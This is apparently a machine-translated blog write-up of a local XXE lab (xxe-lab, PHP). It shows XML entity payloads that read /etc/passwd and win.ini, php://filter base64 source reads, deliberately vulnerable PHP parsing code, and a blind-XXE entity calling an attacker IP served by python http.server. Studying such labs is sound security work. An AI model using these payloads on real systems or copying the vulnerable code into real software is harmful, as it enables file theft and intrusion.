当前位置:网站首页>Security xxE vulnerability recurrence (XXe Lab)
Security xxE vulnerability recurrence (XXe Lab)
2022-07-06 03:49:00 【Fox FM】
List of articles
Preface
Installation skipped ,xxe-lab There are several environments , Here is php
Learning records only , Do not use for illegal purposes
XXE Not very familiar with , If there are any mistakes, you can correct them in the comments
XML External entities (XXE) Inject detailed explanation
Security -php://filter The file contains analysis (bugku)
XXE Inject high-end operation attacks payload Summary
One 、 Enable environment
Turn on apache or nginx, visit
http://127.0.0.1/xxe-lab-master/php_xxe/
If 127.0.0.1 I can't get the bag , You can use the intranet IP Visit the packet capture to view the submitted data
Two 、 Loophole recurrence
[1]. analysis
Use the playback module , It is found that... Will be returned in the return package
username
What's in it ( Slightly changed the format )
So only willEntity
Put it inusername
in , Will echo the value
[2]. structure payload
add to XML Statement ( It seems that you can do without this )
<?xml version="1.0" encoding="UTF-8"?>
DTD
Document type definition , Arbitrary file name will not affect , Be carefulDOCTYPE
Need to be capitalizedDOC
Represents a document ,TYPE
Translated as type
<!DOCTYPE file name []>
Then there is the statement XML Entities are used for file reading , Need to put in
DOCTYPE
Oftest
in
<!ENTITY The entity name SYSTEM "file:/// Absolute path ">
Then choose one that will echo the data xml Label placement
& The entity name ;
c:/windows/win.ini
yes windows The default configuration in/etc/passwd
yes linux Configuration of account information stored in
In the case of echo ,
password
call xml Solid time , No echo passwd The content of cannot passpassword
The label proves the existence xxe Loophole
[3]. Read file from relative path
file
The protocol is used to read absolute paths , If you need to read through a relative path, you can usephp://filter
- post Data time , What I visited was
doLogin.php
file
It needs to be based on the relative path to this file- When reading with the parameters below, the contents of the file will be
base64
Output
php://filter/read=convert.base64-encode/resource= File relative path
- Read the current file
doLogin.php
file ( If you don't know what the file name is , You can use it intruder Blasting module ),base64
After decoding, it is the content of the file- The case of the file name will not affect
PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQ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mcpCgohW2phdmFfeHhlXShkb2MvamF2YV94eGUucG5nKQoKIVtweXRob25feHhlXShkb2MvcHl0aG9uX3h4ZS5wbmcpCgohW0NzaGFycF94eGVdKGRvYy9Dc2hhcnBfeHhlLnBuZykKCiMjIOa1i+ivlQrmkK3lu7rlpb3njq/looPlkI7lsLHlj6/ku6Xlr7nlkITkuKror63oqIDniYjmnKzov5vooYzmtYvor5XkuobjgILov5nph4zku6VQSFDkuLrkvovlrZDjgIIKCiFbcGhwIFhYRea8lOekul0oZG9jL3BocF94eGVfZGVtby5naWYpCg==
3、 ... and 、 No echo XXE
take
doLogin.php
Change to the following code , In this way, there will be no originalusername
了
<?php
/** * autor: c0ny1 * date: 2018-2-7 */
$USERNAME = 'admin'; // account number
$PASSWORD = 'admin'; // password
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = " Login successful ";
//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = " Login failed ";
//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
If the goal is not to leave the network , have access to python Here's one http service
If the access record of the target is detected , That means there is xxe There's a leak
python -m http.server [ port ]
python2 Start with the following code http service
python -m SimpleHTTPServer [ port ]
then post As follows xml sentence
<!DOCTYPE test[ <!ENTITY data SYSTEM "http:// The attacker IP: port "> ]>
Because the submitted
username
andpassword
Are processed by the server , But none of them echo
So without echo , These two parameters call xml Entities will trigger vulnerabilities
边栏推荐
- C#(三十一)之自定义事件
- 遥感图像超分辨率论文推荐
- 【Qt5】Qt QWidget立刻出现并消失
- SWC introduction
- Edcircles: a real time circle detector with a false detection control translation
- Blue style mall website footer code
- C#(三十)之C#comboBox ListView treeView
- WPF效果第一百九十一篇之框选ListBox
- Take you to wechat applet development in 3 minutes
- Pointer for in-depth analysis (problem solution)
猜你喜欢
Pointer written test questions ~ approaching Dachang
Pytorch load data
2.2 STM32 GPIO操作
[Massey] Massey font format and typesetting requirements
Facebook等大廠超十億用戶數據遭泄露,早該關注DID了
MySQL reads missing data from a table in a continuous period of time
3.1 detailed explanation of rtthread serial port device (V1)
数据分析——seaborn可视化(笔记自用)
After five years of testing in byte, I was ruthlessly dismissed in July, hoping to wake up my brother who was paddling
【按键消抖】基于FPGA的按键消抖模块开发
随机推荐
Do you know cookies, sessions, tokens?
Pandora IOT development board learning (HAL Library) - Experiment 9 PWM output experiment (learning notes)
[analysis of variance] single factor analysis and multi factor analysis
2.1 rtthread pin设备详解
Codeforces Global Round 19
SAP ALV cell level set color
C (XXIX) C listbox CheckedListBox Imagelist
[slam] lidar camera external parameter calibration (Hong Kong University marslab) does not need a QR code calibration board
Network security - Security Service Engineer - detailed summary of skill manual (it is recommended to learn and collect)
C#(二十七)之C#窗体应用
Alibaba testers use UI automated testing to achieve element positioning
Cubemx transplantation punctual atom LCD display routine
Data analysis Seaborn visualization (for personal use)
Pytoch foundation - (1) initialization of tensors
遥感图像超分辨重建综述
Schnuka: visual positioning system working principle of visual positioning system
Exchange bottles (graph theory + thinking)
Why do you want to start pointer compression?
Prime protocol announces cross chain interconnection applications on moonbeam
3分钟带你了解微信小程序开发